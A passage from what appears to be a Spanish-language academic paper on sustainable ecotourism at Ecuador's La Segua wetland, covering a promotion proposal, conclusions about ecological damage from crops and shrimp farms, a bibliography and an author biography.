Difusión turística	<ul style="list-style-type: none"> ▪ Recursos web 	<ul style="list-style-type: none"> ▪ Creación de la página web del Humedal. ▪ Mayor difusión turística en redes sociales.

TABLA 3: Propuesta para el desarrollo del Turismo Sostenible

5. CONCLUSIONES

El Humedal La Segua constituye un destino eco turístico de gran potencial, sea por motivos turísticos o científicos, lamentablemente día a día se está perdiendo parte del Humedal, por el impacto ecológico que producen las cosechas y camaroneras, se requiere urgentemente un plan de mejoras del Humedal que aporte al desarrollo turístico sostenible del área , mayor participación comunitaria mediante capacitaciones, los Gobiernos autónomos deberían centrar más su atención a la recuperación y desarrollo de estos espacios aportando a la vez al desarrollo de planes de sostenibilidad ambiental.

Al referirnos a Turismo Sostenible , es necesario enfocarse en una planificación del Ecoturismo como son: Medidas estrictas de protección de la flora , fauna y ecosistemas, aplicación y divulgación de un código de manejo ambiental , guías bilingües bien formados que informen con precisión a los turistas sobre diversidad biológica, y el complemento mayor difusión turística de la forma establecida en la propuesta, es necesario recordar que pueden existir muchas estrategias de difusión turística pero si no se actúa ahora para conservar el Humedal, en un futuro cercano únicamente será un recuerdo que quedará plasmado en los libros y en las páginas web.

REFERENCIAS BIBLIOGRÁFICAS

- Brito, J. G. (2007). *La Investigación Social del Turismo*. México: Paraninfo.
- Jiménez, L. (2016). *Turismo, Tendencias globales y planificación estratégica*. Bogotá: ECOE.
- Montilla, A. (2017). Análisis de las condiciones geográficas y ecológicas del Humedal La Segua, Provincia de Manabí. *La Técnica*, 70-88.
- Pérez, M. (2011). *Aplicaciones de la teledetección y sig en la caracterización de humedales en la reserva de la biosfera de La Mancha Húmeda*. (Tesis de Máster) Universidad Complutense de Madrid, Madrid, España.
- Sumba, M. (1983). El desarrollo de la cuenca de los ríos Carrizal y Chone. Su influencia en el desarrollo de la provincia de Manabí. Instituto de Altos Estudios Nacionales. Quito. Ecuador
- Moya, Bárbaro V., Hernández, Ana E., Elizalde Borrell, Héctor, LOS HUMEDALES ANTE EL CAMBIO CLIMÁTICO. Investigaciones Geográficas (Esp) [en línea] 2005, (Sin mes): [Fecha de consulta: 3 de marzo de 2019] Disponible en: <<http://www.redalyc.org/articulo.oa?id=17612746005>> ISSN 0213-4691
- Suarez, C (2010) *Centro Ecuatoriano de Derecho Ambiental, Situación Legal de las Iniciativas de Conservación en los humedales Abras de Mantequilla, La Segua e Isla Santay*
- <http://suia.ambiente.gob.ec/documents/783967/891669/Situaci%C3%B3n+Legal+de+las+Iniciativas+de+Conservaci%C3%B3n+en+los+Humedales+Abras+de+Mantequilla%2C%20La+Segua+e+Isla+Santay..Pdf/06f015ff-f931-41e8-bf90-864b1b912bc7>

BIOGRAFÍA DEL AUTOR

Lcda. María Rosario Álava Zambrano. Mgs, Profesional del área Turística y Hotelera, Guía Nacional de Turismo – Ministerio de Turismo del Ecuador de Medio Ambiente Ecuador, Docente de la Facultad de Hotelería y Turismo – ULEAM.